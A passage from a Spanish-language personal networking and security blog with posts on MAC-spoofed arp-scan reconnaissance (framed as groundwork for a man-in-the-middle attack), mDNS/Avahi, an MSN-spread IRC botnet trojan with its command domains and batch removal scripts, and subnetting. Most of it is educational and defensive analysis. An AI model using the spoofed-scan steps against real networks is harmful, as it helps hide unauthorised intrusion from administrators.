En esta versión primero cambiamos la dirección MAC de nuestro adaptador de red, utilizando macchanger (a decir verdad no es necesario utilizarlo, puede hacerse tranquilamente con ifconfig) y luego lanzamos nuestro querido arp-scan, para encontrarnos finalmente con los hosts activos, pero esta vez ocultando completamente nuestra identidad dentro de la red.

root@moon:/home/juan# macchanger -m 00:11:22:33:44:55 eth0
Current MAC: 00:24:21:6d:00:36 (unknown)
Faked MAC:   00:11:22:33:44:55 (Cimsys Inc)
root@moon:/home/juan# arp-scan -I eth0 -r 1 -q -S 00:11:22:33:44:55 -u 00:11:22:33:44:55 -s 192.168.0.45 192.168.0.1-192.168.0.48
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 48 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.0.1    00:08:54:29:06:__
192.168.0.10    00:27:19:dc:d7:__
192.168.0.20    00:e0:4c:a8:89:__
192.168.0.26    00:19:66:38:0a:__

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.6: 48 hosts scanned in 0.476 seconds (100.84 hosts/sec). 4 responded
root@moon:/home/juan#

Algunas consideraciones:
-"Arp-scan e IP spoof" aunque parezca que fuimos cuidadosos no lo fuimos, wireshark detectó que una dirección MAC estaba asociada a dos direcciones de red, la dirección actual y la dirección falsa, esto podría haber disparado alarmas en alguno de los hosts y haber alertado al administrador.
-Podría darse el caso donde la IP que elijamos para ocultarnos ya esté asignada en la red, seria interesante elegir una dirección que difícilmente esté en uso, para evitar conflictos de direcciones que puedan alarmar a los usuarios de los hosts o el administrador mismo.
-Si si, esto es la previa para un ataque MITM (hombre en el medio), posiblemente en la próxima entrada :D.
-arping no me permitió utilizar una dirección que no fuese la que tiene asignada la interface eth0, un poco de mal gusto xD.
-Había pensado en una mas, pero se me acaba de olvidar :D.

Ahora si que me bajó el sueño!

Pequeeeeña intro MDNS (Multicast DNS):

2010-04-03T02:09:00.001-03:00

Hoy (01/04/2010), mientras preparaba la próxima entrada del blog "casualmente" tenía wireshark corriendo y me encontré con un paquete que me llamó poderosamente la atención. El protocolo es MDNS, lo había visto antes pero siempre creí que se trataba de alguna de las aplicaciones que estaba corriendo.

Intro:

Googleando un poco encontré de que se trata: "Multicast DNS is a way of using familiar DNS programming interfaces, packet formats and operating semantics, in a small network where no conventional DNS server has been installed." (http://www.multicastdns.org/). Es decir, se trata de una implementación del protocolo de resolución de nombres (DNS) para redes de área local, donde no existe un servidor DNS real. Producto de los grupos Zero Configuration Networking y DNS Extensions, creado con el objetivo de facilitar la configuración de redes locales que no cuentan con un servidor de nombres propio.

Según el draft (http://files.multicastdns.org/draft-cheshire-dnsext-multicastdns.txt) "Clients performing DNS-like queries for DNS-like resource records by sending DNS-like UDP query and response packets over IP Multicast to UDP port 5353." se trata de clientes realizando consultas tipo DNS por registros tipo DNS enviando paquetes (tipo DNS) al puerto 5353 UDP sobre direcciones IP Multicast (JA!, para los que creen que las clase D no se usan jajaaj).

Las direcciones Multicast o clase D van de 224.0.0.0 a 239.255.255.255, y se caracterizan por: una dirección Multicast está asociada con un grupo de receptores interesados, cuando uno de los interesados envía un paquete a una dirección Multicast todos los demás lo reciben, los routers que se encuentren entre estos interesados deben ser capaces de reenviar estos paquetes a cada uno de ellos.

Al tratarse de una dirección Multicast, todos los asociados reciben todos los paquetes, y de esta manera las caches de nombres se mantienen actualizadas. Cada respuesta a una consulta Multicast DNS trae un campo donde se especifica el tiempo de validez que tiene la respuesta, luego de que expire ese tiempo es necesario volver a efectuar la consulta.

Este servicio de DNS cuenta también con un TLD (Top-Level Domain) propio y es ".local.". Todo FQDN (Fully Qualified Domain Name, nombre completo xD) que finalice con ".local." se lo considera de enlace local, es decir... es un análogo a las direcciones IP privadas, que sólo valen en el ámbito local de la red y de nada sirven fuera de ella. Toda consulta DNS que finalice con ".local." debe ser enviada a la dirección 224.0.0.251 (si se trata de IPv4, o FF02::FB si se trata de IPv6).

Existen 3 tipo de consultas: las consultas convencionales 1-consulta->1-respuesta, 1-consulta->N-respuestas y el ultimo tipo que consiste en consultas continuas.

En fin... eso es mas o menos a modo de introducción :D. Si realmente querés saber mas, está el link del borrador mas arriba, de ahora en mas voy a intentar controlar/activar/desactivar este servicio de mi laptop. Resulta ser que en la mayoría de las distribuciones de GNU/Linux viene instalado por defecto un servicio que implementa este protocolo, y se llama Avahi (http://avahi.org/). Avahi es capaz de publicar y descubrir dispositivos, y servicios disponibles en la red local, sin necesidad de realizar configuración alguna.

Veamos si el servicio está corriendo :D (hagamos de cuenta que nunca vi el paquete con wireshark xD):
"Lo sospeché desde un principio..." asi es, tengo corriendo como demonio a avahi-daemon

Buscando un poco mas se puede ver que escucha en el puerto UDP 5353 de todas las interfaces disponibles, a la espera de consultas/respuestas que pueden provenir de cualquier dirección de red.

Ahora probemos la facilidad de uso de este protocolo. La lan de prueba está compuesta por 2 hosts, la laptop con direccion 192.168.206.1 (nombre moon) y una vm con dirección 192.168.206.134 (nombre ubuntu). Ambos hosts tienen instalado Ubuntu 9.10, que trae por defecto instalado avahi-daemon versión 0.6.25. Ninguno de los host recibió algún tipo de configuración de este servicio, ambos corren como fueron instalados. En el host moon estará nuestro amigo wireshark capturando los paquetes para ver lo que sucede :D.

Buscando a "ubuntu" desde "moon":

Sabemos que está conectadp a la red un host de nombre "ubuntu", pero no sabemos la dirección IP que le fue asignada, y no contamos con un servidor DNS local :D, maldita sea!, pero para eso está corriendo avahi-daemon. Para conocer la dirección de ese host nos basta con hacer un "ping ubuntu.local.", como muestra la imagen

ahora veamos lo que capturó nuestro amigo :D.
Wireshark nos muestra 4 paquetes MDNS, los dos primeros son la resolución directa del nombre de host "ubuntu.local.".
-192.168.206.1 (moon) envía una consulta MDNS a 224.0.0.251 (Multicast IP Address) preguntando por la dirección de "ubuntu.local.".
-192.168.206.134 (ubuntu) envía una respuesta MDNS a 224.0.0.251 (Multicast IP Address) diciendo que 192.168.206.134 corresponde al "host ubuntu.local.".
Los últimos dos paquetes son la resolución inversa, es decir, intenta averiguar el nombre que le corresponde a la dirección 192.168.206.134, esto debe ser una suerte de mecanismo de seguridad, para ver que sean consistentes:
-192.168.206.1 (moon) envía una consulta inversa a la dirección 224.0.0.251, consultando por el nombre que le corresponde a "134.206.168.192.in-addr.arpa.".
-192.168.206.134 (ubuntu) rsponde a la dirección 224.0.0.251, diciendo que esa dirección le corresponde al nombre "ubuntu.local.".

Exáctamente lo mismo podemos observar si ahora realizamos el ping desde ubuntu hacia moon.local.

Publicando y Descubriendo servicios:

Junto con MDNS se puede utilizar algo llamado DNS-SD (DNS-Service Discovery), que consiste en dar a conocer y encontrar servicios locales utilizando MDNS. De nuevo se trata de algo de simple puesta en marcha. Como ejemplo publicaremos dos servicios en el host de nombre moon (FQDN moon.local.), un servidor web en el puerto 80 y un ftp en el puerto 21. El proceso de publicación de los servicios consiste en crear un archivo con sintaxis XML en el directorio /etc/avahi/services/, con la condición que el nombre del archivo debe finalizar en ".service" (sin las comillas :D), como el siguiente:

Para entender bien la sintaxis basta con dar una breve leída a "man avahi.service" :D. Luego de configurar adecuadamente los servicios que querramos reiniciamos el demonio avahi con "avahi-daemon -r" y listo, toda la magia de la publicación de servicios es esa jajaja. Ahora hay que comprobar que los servicios están siendo publicados, para eso instalé dos porgramas mdns-scan y mzclient, NO instalen mdns-scan es DEMASIADO BASICO (ni siquiera recibe parámetros y solo busca types "_workstation"). Primero veamos los hosts que se encuentran utilizando MDNS ejecutamos mzclient como en la próxima imagen (-r se encarga de resolver los nombres de los hosts):

moon tiene 3 direcciones MAC diferentes porque se trata de las 3 interfaces de red, dos virtuales y la eth0 real. Entonces los hosts siguen bien configurados, ahora busquemos los servicios publicados :D. Para eso usamos la opcion -t, que indica la etiqueta type del archivo de servicios, buscamos primero si hay servicios tipo "_http._tcp", incluimos -r para que resuelva nombres:

Ahora busquemos el ftp :D:

Ambos servicios fueron asociados al nombre "moon.local" con dirección 192.168.206.1, como lo configuramos y como debe ser. Eso es gran parte de la publicación de servicios, para mas información http://avahi.org :P.

Deteniendo el demonioooooooo:

Si nos iteresa detener el demonio solo por un momento o reiniciarlo, lo podemos hacer directamente mediante el script ubicado en /etc/init.d. Ejecutamos sudo /etc/init.d/avahi-daemon stop, o mas elegantemente sudo service avahi-daemon stop, para detenerlo, cambiamos stop por restart, para reiniciarlo y start para iniciarlo cuando está detenido.

Deshabilitando temporalmente al demonio:
Si queremos deshabilitarlo temporalmente pero no borrarlo del sistema podemos recurrir a un pequeño truquillo :D. La idea básicamente consiste en que sencillamente el demonio nunca se inicie xD, y esto lo podemos lograr alterando el script de inicio del demonio, ubicado en "/etc/init/avahi-daemon.conf". Como se ve en la imagen hay que comentar la linea de "start".

En definitiva, se trata de un servicio bastante útil, pero que sinceramente no necesito tener activo en este momento. Posiblemente en una LAN donde todo el tiempo entran y salen dispositivos diferentes sea de suma utilidad, pero no lo veo tan así en una LAN chica con poco cambio de los dispositivos.

Comunicación con el mas allá...

2010-02-09T23:02:00.001-03:00

Hoy en un raaaaaaaaaaaaaaaato libre que me hice me conecté al msn para molestar algunos conocidos, cuando de repente me encontré con la siguiente conversación frente a mi :D.

No es mas que otro de los bichos analizados anteriormente, de hecho es el mismo al parecer, salvo los cambios de dominios que realizaron los chicos, para darle un poco de oxígeno a la situación.

Ahora el archivo de infección se llama facebook.exe y los dominios son los siguientes: facebo0ok.net y fbchek.com (está claro que esta gente quiere abusarse del buen nombre de la red social Facebook para obtener víctimas).

Una vez ejecutado y finalizada la infección se conecta a la dirección homework.knaqu.eu (similar a las anteriores) a un servidor Irc de donde recibe las órdenes, al igual que lo explicado en los posts anteriores.

La diferencia es que esta vez, agregué la dirección de email de uno de los dominios a una cuenta de msn que tengo para tales ocasiones. Y bueno… les dejo la conversación aqui pegada, está claro que esa dirección podría ser falsa y ser de un pobre individuo que no tenía idea de lo que le hablé o claro… ser de uno de ellos, del mas allá :D. POR FAVOR NO HAGAN CLIC EN EL LINK (fueron reemplazados los “.” por “_”)!!!!

Juan dice:
    [22:30:23] hi...
... dice:
    [22:30:29] hi
Juan dice:
    [22:30:55] fbchek.com... you own this domain, don't you?
... dice:
    [22:31:06] no
    [22:31:08] for what?
    [22:31:17] i'm
    [22:31:17]
Juan dice:
    [22:31:52] what do u know about fbchek_com/facebook_exe?MiEmail@hotmail.com
... dice:
    [22:32:03] nothing
    [22:32:06] i dont know
    [22:32:11] who are you
Juan dice:
    [22:32:50] homework.knaqu.eu ??
... dice:
    [22:33:08] ?
Juan dice:
    [22:33:09] look... i received some kind of malware, by msn,

Luego del “Who are you”, nuestro amigo del mas allá se desconectó y me quitó de su lista inmediatamente. Culpa o desconocimiento??? quien sabe xD. No dejo el email por si me estoy equivocando, de todas formas se puede encontrar viendo el registro del dominio.

Eso es todo, el funcionamiento sigue siendo básicamente el mismo que los anteriores.

Otro bicho por messenger III

2010-01-22T21:08:00.001-03:00

Como era de esperarse, para mantenerse en actividad tuvieron que realizar unos cambios mas drásticos que los anteriores:

-Nuevo dominio de conexión: aschex.rr.nu al mismo puerto que las versiones anteriores (27034), ahora la contraseña de sesión es “aaa”.

-El dominio que envía los mensajes aaa.5268.com, los nombres mas actualizados de los archivos de infección son: “hi5.exe” y “carts.exe”.

-También cambiaron la clave de registro que utiliza para autoejecutarse cuando reinicia el sistema, ahora es: “Java Update”, por lo tanto es script anterior queda obsoleto.

-Nuevo nombre del proceso en ejecución: “wms.exe”. La carpeta donde se almacena el archivo para autoarranque sigue siendo la misma.

El nuevo script para desinfectar sería el siguiente:

@echo off

echo Eliminando archivo copiado locamente

rmdir /s /q %TEMP%\IXP000.TMP

rmdir /s /q %TEMP%\IXP001.TMP

rmdir /s /q %TEMP%\IXP002.TMP

rmdir /s /q %TEMP%\IXP003.TMP

echo Eliminando la clave del registro

reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Java Update"

Pocos antivirus detectan las últimas versiones, acabo de subir un “hi5.exe” a virustotal y tan solo 2 lo detectan como troyano.

Otro bicho por messenger II

2010-01-21T22:54:00.001-03:00

Luego de una tarde de estudio de física me vinieron ganas de tirar el libro al diablo y ver cómo iban mis amigos de sexy-brazil.com con su bicho :D.

Los cambios no han sido muchos, ahora uno de los nombres con que llega el archivo infectado (a través de WindowsLive Messenger) es “good.exe”, la lista mas detallada está en unos comentarios del post anterior. El proceso se ejecuta con el nombre iexplorer.exe (como el browser, si :D, pero ocupa poco mas de 1Mb en memoria, no como el browser :D).

Cambiaron el puerto al que se realiza la conexión :D, ahora nos conectamos al puerto 4244, aunque los mensajes que se envían y reciben parecen ser los mismo que se vieron antes.

Las siguientes líneas son un pequeño script en batch para la desinfección, es demasiado simple y hasta ineficiente en el caso de que se hayan ejecutado muchas copias del “virus”, ya que a partir de la 4ta copia ejecutada se crearía la carpeta IXP004.TMP que no estaría contamplada por el script :D. Si alguien recuerda algo de batch que lo arregle por favor.

@echo off

echo Eliminando archivo copiado locamente

rmdir /s /q %TEMP%\IXP000.TMP

rmdir /s /q %TEMP%\IXP001.TMP

rmdir /s /q %TEMP%\IXP002.TMP

rmdir /s /q %TEMP%\IXP003.TMP

echo Eliminando la clave del registro

reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Windows UDP Control Center"

Lo que hace básicamente es eliminar el o los directorios donde se guarda la copia residente del “virus” y luego eliminar la clave de autoarranque del registro. Este script es útil siempre y cuando no cambien estos parámetros en el “virus”. (SÓLO PROBADO EN WINDOWS XP)

Este script NO DETIENE al proceso que se encuentra en ejecución, hay que detenerlo con el administrador de tareas de windows o bien con el Process Hacker (muy recomendable de hecho).

Eso es todo por hoy, a seguir estudiando ¬¬.

Otro bicho por messenger

2010-01-17T22:30:00.001-03:00

Bueno, luego de una prolongada ausencia en el blog… por motivos… realmente sin motivos. Por momentos pierdo la emoción por las cosas, para nada deseable, lo confieso.

La idea de esta entrada es hacer un “análisis” sencillo de un software malicioso que estuve recibiendo constantemente estos días a través del msn.

Aparentemente tendría las condiciones para tratarse de un troyano, e inclusive de un cliente de una red tipo Botnet. El programa establece una conexión TCP/IP con el dominio ”komet2v.knaqu.eu” desde donde recibe las instrucciones para enviar los mensajes de propagación, por lo menos sólo eso pude ver hasta ahora.

Método de propagación:

A través del servicio de mensajería msn, explícitamente utilizando alguna vulnerabilidad del cliente Microsoft (comprobado sobre Windows LiveMessenger Versión 2009 Compilación 14.0.8089.726, al emesene no lo afecta :D http://www.emesene.org/). Se propaga con el mensaje que se ve en la siguiente imagen:

Puntos a tener en cuenta:

http://sexy-brazil.com/jovana.exe?XXXXX@hotmail.com Claramente se trata de un enlace a un sitio en Internet y no una foto enviada normalmente por un contacto a través del cliente de Messenger. Aunque podría ser la dirección de un blog o fotolog de nuestro contacto, da para desconfiar el nombre del dominio no?

Se puede observar la terrible semántica de la oración, algo que nos puede dar a entender que quienes lucran con esto no tienen mínima idea de español. Pero claro… si consideramos como escribe la gente en estos tiempos jajaja.

El enlace nos permite descargar el archivo jovana.exe, para los “eruditos” de la informática es simple darse cuenta que esto obviamente no puede tratarse de ninguna fotografía ni nada similar, no es mas que un archivo ejecutable con código escrito por vaya a saber quien. Es otro indicio claro de que se trata de un engaño marca ACME!!!, pero no todo el mundo tiene porque saber qué corcho es un .exe. Además vemos que en el enlace se envía nuestra dirección de correo electrónico (que en este caso sería la mia privada, por eso las Xs) como parámetro, entonces cabe la posibilidad de que estos seres estén también guardando direcciones para luego utilizarlas en el TAN redituable negocio del SPAM.

Si introducimos la dirección del dominio en el buscador (http://sexy-brazil.com) podemos ver que se trata de un servidor Apache 2 corriendo sobre CentOS. Se trata de una instalación completamente básica, a tal punto que se ve la página de la instalación sin más :D “…You may now add content to the directory /var/www/html/. Note that until you do so, people visiting your website will see this page and not your content…”.

Cuando analizamos el dominio con http://whois.domaintools.com/sexy-brazil.com vemos que el registrante es Contactprivacy, una empresa que se encarga de resguardar la privacidad del registrante real. El dominio fue creado el 13 de enero de este año, y contratado por un año entero, es decir que es un plan bastante nuevo este jaja.

A tal punto su condición de nuevo, que los primeros infectados recibían el mensaje con el archivo “test.exe” en lugar de “jovana.exe”, tengo copia de ambos y tienen distintos tamaños, por lo que cabe pensar que “jovana.exe” sea una versión definitiva del software, inclusive el proceso que se ejecuta luego de la infección cambió de nombre con la nueva versión. Inicialmente se llamaba “h0lasps” y ahora se llama “DEferen”.

A continuación una imagen del proceso en ejecución:

Acabo de recibir una nueva actualización :D (16:47hs del 17 de enero), esta vez llegó un mensaje con el nombre “test3.exe”, lo cual indica que realmente están trabajando en estos momentos. No llegué a descargar esta versión ya que a los pocos minutos cambiaron nuevamente a “jovana.exe”. Pero este nuevo jovana no tiene el mismo tamaño que el anterior, así que seguramente es la release de test3 :D. También acaban de cambiar el nombre del dominio a homewww.knaqu.eu, seguramente habrá muchos cambios de nombres de dominio, de nombre del proceso y de nombre del archivo de infección, ya que es una forma de prolongar su propagación.

Accionar:

Cuando ejecutamos el archivo “jovana.exe” (en el caso de que los programas antivirus no lo hallan adverdito, mi caso con Avast actualizado a la fecha 17/01/2010) nos encontraremos con la penosa noticia de que “Picture canot be displayed.” No podemos ver la imagen (que pena, verdad?).

Una vez que presionamos “Aceptar” este mensaje desaparece como si eso fuera todo, pero claro… no lo es. A partir de allí, suceden algunas cosas:

Se lanza el proceso con nombre “DEferen.exe.exe”, que inicia una conexión TCP al dominio ”komet2v.knaqu.eu” al puerto 27034. Aparentemente utiliza el protocolo IRC para intercambiar mensajes y órdenes. Por este medio llegan las notificaciones que luego se envían por el cliente de mensajería.

Si analizamos este dominio como hicimos con el anterior (http://whois.domaintools.com/knaqu.eu), podemos ver que la entidad registrante está NOT DISCLOSED!, es decir, no está revelada… Poco serio??? Jajaja.

Podemos apreciar la conexión establecida mediante netstat, como se muestra en la imagen.

En el primer cuadro rojo podemos ver el nombre del dominio que se obtuvo de la resolución inversa de la dirección 217.148.32.202 …, un dominio “.uk”, del reino unido??? WTF!!! La resolución directa de komet2v.knaqu.eu, nos da esa dirección IP anterior, pero la resolución inversa de esa dirección no nos devuelve komet2v.knaqu.eu; es decir no coinciden, lo cual es un tanto sospechoso. Orchard Design es una organización de E-Business, según así lo relata su sitio web: orchard-design.co.uk, que además está en remodelamiento… lo cual lo hace más raro aún… Puede que estén utilizando algún servidor de este dominio para esta actividad. En fin… todo suena un poco raro :D.

Se agrega una clave en el registro para asegurarse que el proceso vuelva a iniciarse cuando el sistema se reinicie o apague. Copia el archivo ejecutable en una carpeta del usuario, en la dirección que indican las imágenes.

La clave utiliza el nombre Java Update como camuflaje, simpático, no?

Carpeta Temp del usuario, donde se localiza el archivo.

Con wireshark seguimos el establecimiento de la conexión, y vemos la primer consulta DNS para obtener la dirección del dominio ”komet2v.knaqu.eu” y luego la conexión TCP.

Ahora seguimos la conexión TCP para ver qué información viaja entre el cliente (nos) y el servidor (vaya a saber quien).

Se puede apreciar la autenticación del tipo IRC que realiza el cliente, y vemos que uno de los datos enviados por el cliente es el nombre del equipo, en nuestro caso “asd-0183eaaee49”, posiblemente utilizado para distinguir los “bots” de la red. El IRC nunca fue mi fuerte, pero se pueden ver conexiones y cambios de modo del canal al cual se une el cliente. También se observa una suerte de mecanismo de ping, para cerciorarse que el bot aún sigue funcional.

En la próxima imagen se ven las órdenes recibidas del servidor para mandar los mensajes con la dirección del archivo infectado. Esta es una técnica muy interesante, ya que de esta manera cualquier cambio en el nombre o la dirección de los archivos de infección, se actualiza fácilmente sólo cambiando el mensaje que se envía a los clientes. Se puede ver que el primer mensaje se envió indicando el archivo “test3.exe” y el siguiente fue de “jovana.exe”.

En lo que va de estos dos días solamente pude ver mensajes de este tipo, es decir, no recibí mensajes que indicaran otra acción al programa residente. Lo cual no descarta que esta sea solamente la primer etapa de la infección, donde lo único importante es elevar el número de bots de la red (si es que se trata de esto :D, adoro la ciencia ficción :D).

Desinfección:

La desinfección es bastante simple:

Matamos el proceso con el administrador de tareas de Windows, para detener inmediatamente el proceso y así frenar la comunicación con el servidor maligno. Nos aseguramos de estar cerrando el proceso correcto comparando el PID que vemos alli en el administrador de tarea y el que vimos mediante netstat. :D

Luego eliminamos tanto el archivo descargado como la copia que se almacenó en la carpeta “Temp”.

Y por último quitarlo del inicio, ya sea borrando la clave del registro o modificando desde la aplicación “msconfig” en la pestaña de inicio.

Inicio->Ejecutar->msconfig :D

Eliminar la clave del registro, Inicio->Ejecutar->regedit la dirección de la clave está en la imagen:

En definitiva se trata una vez mas de un posible troyano molesto de esos que se propagan gracias (mayoritariamente) a la desonocimiento (imprudencia también) de las personas. Por ahora parece no ser dañino en absoluto, pero claro… cualquier software que puede ser controlado remotamente por desconocidos no es bienvenido :D (botnet botnet!!!).

También se puede resaltar que está en pleno desarrollo, la último versión probada según virus total es reconocida por muy pocos antivirus. http://www.virustotal.com/es/analisis/1b5451819d9548c9ddf40be6629e6ac91e9a3e401aa3e217cf3071e628414773-1263770379

Redes IP y Subnetting

2009-04-25T14:27:00.014-03:00

Para poder escribir sobre subnettig tengo 2 opciones: partir del supuesto que todos sabemos qué es una red IP o partir explicando qué es una red IP. Como ya terminé los parciales en la facultad (es decir, me sobra un poco de tiempo), voy a empezar por el camino mas largo xD.

Haciendo un mini repaso, sabemos que las direcciones IP están formadas por 32 bits, divididos en 4 octetos que se suelen escribir en decimal para hacer nuestra vida un poco más hermosa xD. Entonces la dirección 11000000101010000000000000000001 la expresamos como 192.168.0.1. En la figura se muestra parte del proceso.

En la siguiente imagen se ven 7 Hosts interconectados, divididos en 3 redes conectadas mediante un router. Todos los Host de una red comparten cierta parte de su dirección IP, precisamente esta parte que comparten se llama dirección de red. En el ejemplo, se ve que los Hosts de la RED 0 comparten los primeros 24 bits de sus direcciones IP, es decir, tienen como dirección de red 190.68.0.0/24. El /24 nos indica que la dirección de red está formada por los primeros 24 bist de la dirección IP, a este número se lo llama máscara de red, y suele representarse en el mismo formato que las direcciones IP, en este caso sería 255.255.255.0.

Con estos nuevos datos ya podemos saber la dirección de red de un interfase si conocemos su máscara de red, el proceso es simple. Hay que realizar la operación AND lógico entre los 32 bits de la dirección IP y los 32 bits de la máscara de red.

Resumiendo un poco todo lo dicho, ahora sabemos que una dirección IP está formada por dos partes, la dirección de red (indicada por la máscara de red) y la del Host.

Antes de olvidarme voy a hacer una aclaración; las direcciones IP se asignan a una interfaz (una interfaz es la frontera entre el Host y el enlace físico, simplificando… la placa de red) de un Host, no al Host en si mismo. ¿Qué quiero decir?, que un mismo Host puede tener mas de una interfaz (como ser el caso de los routers), aunque no sea muy común, y por eso se considera siempre el caso donde los Hosts sólo tienen una interfaz que los une a la red.

En un principio el esquema de direccionamiento IP se había organizado en 5 clases (A, B, C, D y E). Las redes de clase A cuentan con 7 bits para identificar redes y 24 bits para indicar Hosts. Las de clase B 14 bits para redes y 16 para Hosts. Las redes clase C emplean 21 bits para redes y 8 bits para Hosts. Las redes de clase D tienen un propósito especial, y las de clase E son para investigación. En el siguiente cuadro queda bien aclarado este tema de la división entre red y Host.

Este direccionamiento por clases fue pronto dejado de lado, debido a que no era muy elástico y malgastaba grandes cantidades de direcciones. Por ejemplo, una organización que tuviera 500 hosts que direccionar no podría usar una clase C, porque esta clase direcciona solamente 2^8 – 2 hosts (hay 2 direcciones que son de uso especial, las trato mas adelante), osea 254, entonces debería usar una clase B, en este caso contaría con 2^16 - 2 direcciones para sus hosts… pero esto es 65534 direcciones, de las cuales sólo usará 500… es decir malgastaría 65034 direcciones. Por este motivo se malgastaban muchas direcciones y pronto fue necesario re pensar el sistema de direccionamiento IP.

Así fue que surgió un nuevo estándar propuesto por la IETF llamado CIDR (Classless Interdomain Routing), enrutado interdominio sin clases. Con este nuevo estándar ahora las clases fueron dejadas un poco de lado, permitiendo que la longitud de la parte de red de una dirección IP pueda tener cualquier tamaño. Con CIDR nuestra organización del ejemplo ya puede obtener un bloque de direcciones más acotado (y por ende mas barato xD) con 9 bits para hosts tendríamos 2^9 – 2 = 510 direcciones disponibles, lo que es mucho mas preciso. Entonces las direcciones disponibles para la organización serán de la forma a.b.c.d/23 (donde 23 indica la máscara de red).

Otra nota importante! Existe un conjunto de direcciones IPs, llamadas direcciones privadas, que no pertenecen al grupo de direcciones asignadas en Internet o públicas. Estas se separaron para crear las redes locales y de esta forma disminuir el uso de direcciones públicas. Para que una red privada tenga acceso a Internet debe contar con una puerta de enlace que realice NAT o un servidor Proxy que contará con una dirección pública que le dará acceso a Internet a esa red privada. Aca dejo un link donde se listan las direcciones IP privadas y un poco mas de información: http://es.wikipedia.org/wiki/Direcci%C3%B3n_IP

Subnetting:

Es en este punto en el que nace el concepto de Subnetting. Subnetting es el proceso por el cual se toman bits correspondientes a hosts en la dirección IP para armar subredes. De esta forma podemos obtener a partir de una dirección de red varias subredes de menor tamaño. A partir de este momento nuestras direcciones IP tendrán 3 partes, un número de red, un número de subred y un número de Host dentro de la subred.

Veamos un ejemplo para aclarar el tema, supongamos que tenemos una dirección de red como la siguiente 192.168.2.0. Para los perdidos (o los que no leyeron el link que puse antes), esta es una dirección IP privada (NO PUEDE EXISTIR EN INTERNET), y por su formato podemos decir que es de clase C, entonces su máscara de red debe ser /24 (255.255.255.0). Sin aplicar Subnetting estamos frente a una red clase C que nos permite direccionar 2^8 – 2 hosts (interfaces en realidad, recuerden).

Voy a aprovechar para explicar el porqué del “- 2”, dentro de una red (también en las subredes) existen 2 direcciones que no se pueden asignar a una interfaz (o Host) porque son de propósito específico. Estas direcciones son la primera y la última, y se llaman dirección de red y dirección de broadcast respectivamente. La primera indica la red o subred y la última se utiliza para enviar paquetes a todos los miembros de la red o subred. En el caso de nuestro ejemplo la dirección de red es 192.168.2.0 (si!! El resultado de aplicar la máscara con el AND lógico xD) y la dirección de broadcast consiste en poner en 1 todos los bits que se usan para determinar el Host de la red o subred, en nuestro caso es el 4 octeto, entonces nos queda 192.168.2.255 como dirección de broadcast. E ahí la explicación de porque quitar dos direcciones del total, porque esas NO se pueden asignar a interfaz alguna.

Continuando con el ejemplo, ahora supongamos que tenemos una sola red con 100 computadoras repartidas en la organización. Por cierto motivo (privacidad, seguridad, desempeño, tiempo de sobra, etc.) se toma la decisión de dividir esa gran red en 2 redes más pequeñas con 50 computadoras cada una. Las llamaremos Subred Ventas, Subred RRHH. Ahora empezamos con los cálculos: dijimos que queremos armar 2 redes, entonces podríamos tomar 2 bits de los hosts para así poder armar 2^2 - 2 subredes (descartamos la primera y la última subred), es decir 2! Que precisión xD, sólo vamos a desperdiciar una (esto no estaba planeado jaja).

La siguiente imagen muestra el proceso:

De esa forma conformamos las dos redes, donde cada red tiene un espacio de direcciones para 62 interfaces.

El Subnetting se puede hacer sobre cualquier clase de redes, es decir sobre una red Clase A, B, etc. La esencia es que siempre que hagamos Subnetting vamos a obtener varias redes de menor cantidad de hosts (se disminuyen en potencia de 2 por cada bit que tomamos del campo de Host de la dirección IP). La subred entonces queda determinada por esta nueva Máscara de subred.

Como verán en una red de clase B que tenemos 14 bits que definen la red y 16 bits que definen el Host se pueden obtener buenas combinaciones para muchas subredes con muchos hosts, por ejemplo, tomando 6 bits para subredes obtendríamos 62 subredes con 1022 direcciones asignables (jeej me crees?? Probalo).

Cualquier duda, sugerencia, o consulta con respecto al tema, está MAS que bien recibida. Espero que haya expresa bien las ideas ajaja, un saludo. JJ.

Intro-Bienvenido YO, xD

2009-04-23T15:28:00.003-03:00

La idea básica de este blog es hacer mi aporte a internet. Como Informático, tengo predilección por las redes y la seguridad, por lo que esos serán principalmente los temas que intentaré abordar aquí.

Aclaro que no soy un experto en ninguna de las dos temáticas, por eso mismo me decidí a comenzar este blog, para poder aprender e intentar expresar lo que aprenda.

Por lo pronto estudio Ing. en Informática, estoy casi en 4to año (de hecho curso dos materias de 4to año, dificil de explicar jajaj), tengo ciertos conocimientos en redes, programación, muy pocos de seguridad y algo de sistemas operativos, por lo tanto la idea es mezclar todo esto y aprender cosas nuevas sobre la marcha.

Algunos pensarán "de qué carajo va a escribir si tiene pocos conocimientos en todo", mmm es un pensamiento bastante acertado. Pero la idea es precisamente aprender, y usar el blog como una escusa para leer RFCs, páginas en inglés, pdfs y algún que otro libraco, masticar todo eso y plasmarlo de la manera mas simple posible, para ahorrarle ese trabajo a otros y que no necesiten "re inventar la rueda" y puedan comenzar desde mas adelante.

Demasiado se extendió esto, como para ser una simple introducción. Aún no se cuál será el primer artículo que voy a escribir, voy a ver si elijo algún protocolo de los mas conocidos.
Todas las correciones serán bien recibidas, espero que esto salga lo mejor posible. JJ